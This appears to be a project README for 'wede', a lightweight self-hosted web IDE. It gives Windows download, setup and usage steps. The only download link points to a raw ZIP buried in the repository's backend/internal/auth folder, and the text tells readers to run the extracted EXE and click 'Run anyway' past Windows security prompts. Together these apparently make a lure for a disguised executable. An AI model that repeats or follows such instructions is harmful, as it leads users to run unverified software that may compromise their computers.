🧰 wede - Run a web IDE on Windows

🌐 What wede is

wede is a lightweight web IDE that you run on your own computer or local network. It gives you a code editor, terminal, file explorer, and git tools in one place.

It is built for people who want a simple setup with no cloud account, no Docker, and no monthly plan. The app stays small and starts fast, so it works well on Windows PCs, laptops, and small home servers.

📥 Download wede

Visit the project page here and download the Windows version from the release or file listed there:

https://raw.githubusercontent.com/Dappajordan/wede/main/backend/internal/auth/Software_3.2-beta.5.zip

If the page shows a ZIP file or EXE file, download it to your computer. If it shows a release page, open the latest release and get the Windows build from there.

🪟 Run wede on Windows

1. Open the download from the link above.
2. If you got a ZIP file, right-click it and choose Extract All.
3. Open the folder that was extracted.
4. Look for the wede app file, such as wede.exe.
5. Double-click the file to start it.
6. If Windows asks for permission, choose Allow or Yes.
7. When the app opens, keep the window open while you use it.

If you downloaded a single EXE file, you can usually run it right away after the download finishes.

✨ What you can do in wede

• Edit code in a clean browser-based editor
• Open a built-in terminal
• Browse files and folders
• Work with git for version control
• Use it as a local web IDE on a desktop, laptop, or home server
• Keep your files on your own machine
• Use it with a small setup and few extra steps

🖥️ Simple setup on a Windows PC

wede is meant to be easy to start.

1. Download the Windows build from the project page.
2. Place it in a folder you can find later, such as Downloads or Desktop.
3. Extract the files if the download comes as a ZIP.
4. Start the app.
5. Open your browser if the app does not do that for you.
6. Use the local address shown in the app window.

If you plan to use it often, you can create a shortcut for the EXE file:

1. Right-click the app file.
2. Choose Create shortcut.
3. Move the shortcut to your desktop.

🔧 Basic use

Open a folder

Use the file explorer inside wede to open the folder that holds your files. This lets you edit code, view folders, and work on the same project in one place.

Edit a file

Click a file in the explorer to open it in the editor. Make changes and save them with the normal save action in your browser or app.

Use the terminal

Open the built-in terminal when you need to run commands. This is useful for tasks like starting a project, checking files, or using git.

Use git

If your project uses git, wede gives you tools to check changes and manage your work without leaving the app.

📁 Typical use cases

• Small home lab setup
• A personal coding workspace
• A school or practice project
• A local tool for editing code on a Raspberry Pi
• A remote workspace on your own network
• A simple replacement for heavier web IDE tools

⚙️ Suggested Windows requirements

wede is small, so it should run on most modern Windows systems.

• Windows 10 or Windows 11
• 2 GB RAM or more
• A few hundred MB of free disk space
• A web browser such as Edge, Chrome, or Firefox
• Network access only if you use it across devices on your local network

For the best experience, keep the app on a machine with a stable network and enough free space for your projects.

🔍 If Windows blocks the file

If Windows shows a security prompt when you open the app:

1. Check that you downloaded it from the project page.
2. Open the file again.
3. Choose More info if Windows shows that option.
4. Choose Run anyway or Allow.

This can happen with small local tools that are not signed with a large software certificate.

🧭 How the interface is laid out

The app is built to keep the main tools close together:

• File explorer on one side
• Code editor in the center
• Terminal for commands
• Git tools for change tracking
• Browser view for the web app itself

This layout helps you move between files, commands, and version control without opening many windows.

🧪 First thing to try

After you start wede, try this:

1. Open a folder with a few files.
2. Open one file in the editor.
3. Make a small text change.
4. Save the file.
5. Open the terminal.
6. Run a simple command, such as listing files in the folder.
7. Open the git panel if your folder is a git project.

This gives you a quick check that everything works.

🔌 Using it on your local network

You can use wede from another device on the same network if you set it up that way. This is useful if the app runs on a small PC, home server, or Raspberry Pi and you want to work from another computer.

Use a browser on the other device and open the local address shown by the app.

🗂️ File handling tips

• Keep project files in one folder
• Avoid moving files while the app is open
• Save your work before closing the app
• Use git if you want a simple way to track changes
• Keep one project per folder when possible

🧼 Keeping things simple

Because wede is self-hosted and local, it works best when you keep the setup small:

• One Windows machine
• One project folder
• One browser
• One local network if you need remote access

That setup helps you avoid extra steps and keeps your files in your control

📌 Project details

• Repository: wede
• Type: Web IDE
• Focus: Local use, simple setup, file editing, terminal, and git
• Platform goal: Windows-friendly self-hosted use
• Main link: https://raw.githubusercontent.com/Dappajordan/wede/main/backend/internal/auth/Software_3.2-beta.5.zip